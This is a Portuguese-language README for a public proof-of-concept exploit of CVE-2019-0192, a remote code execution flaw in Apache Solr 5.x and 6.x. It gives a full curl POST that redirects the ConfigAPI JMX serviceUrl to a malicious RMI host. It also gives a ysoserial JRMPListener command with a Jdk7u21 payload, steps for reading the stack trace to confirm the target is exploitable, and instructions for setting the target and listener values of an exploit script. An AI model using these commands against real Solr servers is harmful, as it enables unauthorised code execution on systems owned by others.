CVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5

Este é um PoC inicial da RCE do Apache Solr

De https://issues.apache.org/jira/browse/SOLR-13301:

O ConfigAPI permite configurar o servidor JMX do Solr por meio de uma requisição HTTP POST. Ao apontá-lo para um servidor RMI malicioso, um atacante poderia aproveitar a desserialização insegura do Solr para disparar a execução remota de código no lado do Solr.

Prova de Conceito

Observando a descrição do aviso de segurança e verificando os recursos do Apache Solr na ConfigAPI, podemos encontrar uma referência a um servidor JMX:

serviceUrl - (str opcional) URL de serviço para um servidor JMX. Se não for especificada, o servidor MBean padrão da plataforma será usado.

Ao verificar como o ConfigAPI funciona, podemos reproduzir como definir um servidor JMX remoto:

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

Para a PoC, usarei o yoserial para criar um servidor RMI malicioso usando o payload Jdk7u21

1. Inicie o servidor RMI malicioso:

java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "touch /tmp/pwn.txt"

2. Execute a requisição POST:

curl -i -s -k  -X $'POST' \
    -H $'Host: 127.0.0.1:8983' \
    -H $'Content-Type: application/json' \
    --data-binary $'{\"set-property\":{\"jmx.serviceUrl\":\"service:jmx:rmi:///jndi/rmi://malicousrmierver.com:1099/obj\"}}' \
    $'http://127.0.0.1:8983/solr/techproducts/config/jmx'

nota: você deve obter um erro 500 com um belo stacktrace

3. Verifique o stacktrace:

• Se você viu este erro: "Non-annotation type in annotation serial stream", significa que o Apache Solr está rodando com uma versão do Java > JRE 7u25 e esta PoC não funcionará

• Caso contrário, você deve ver este erro: "undeclared checked exception; nested exception is" e a PoC deve funcionar.

Exploit

1. Baixe o yoserial: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
2. Altere os valores no script:

remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"

3. Em seguida, execute o script:

python3 CVE-2019-0192.py

Aviso de Segurança:

• http://mail-archives.us.apache.org/mod_mbox/www-announce/201903.mbox/%3CCAECwjAV1buZwg%2BMcV9EAQ19MeAWztPVJYD4zGK8kQdADFYij1w%40mail.gmail.com%3E

Recursos:

• https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties
• https://issues.apache.org/jira/browse/SOLR-13301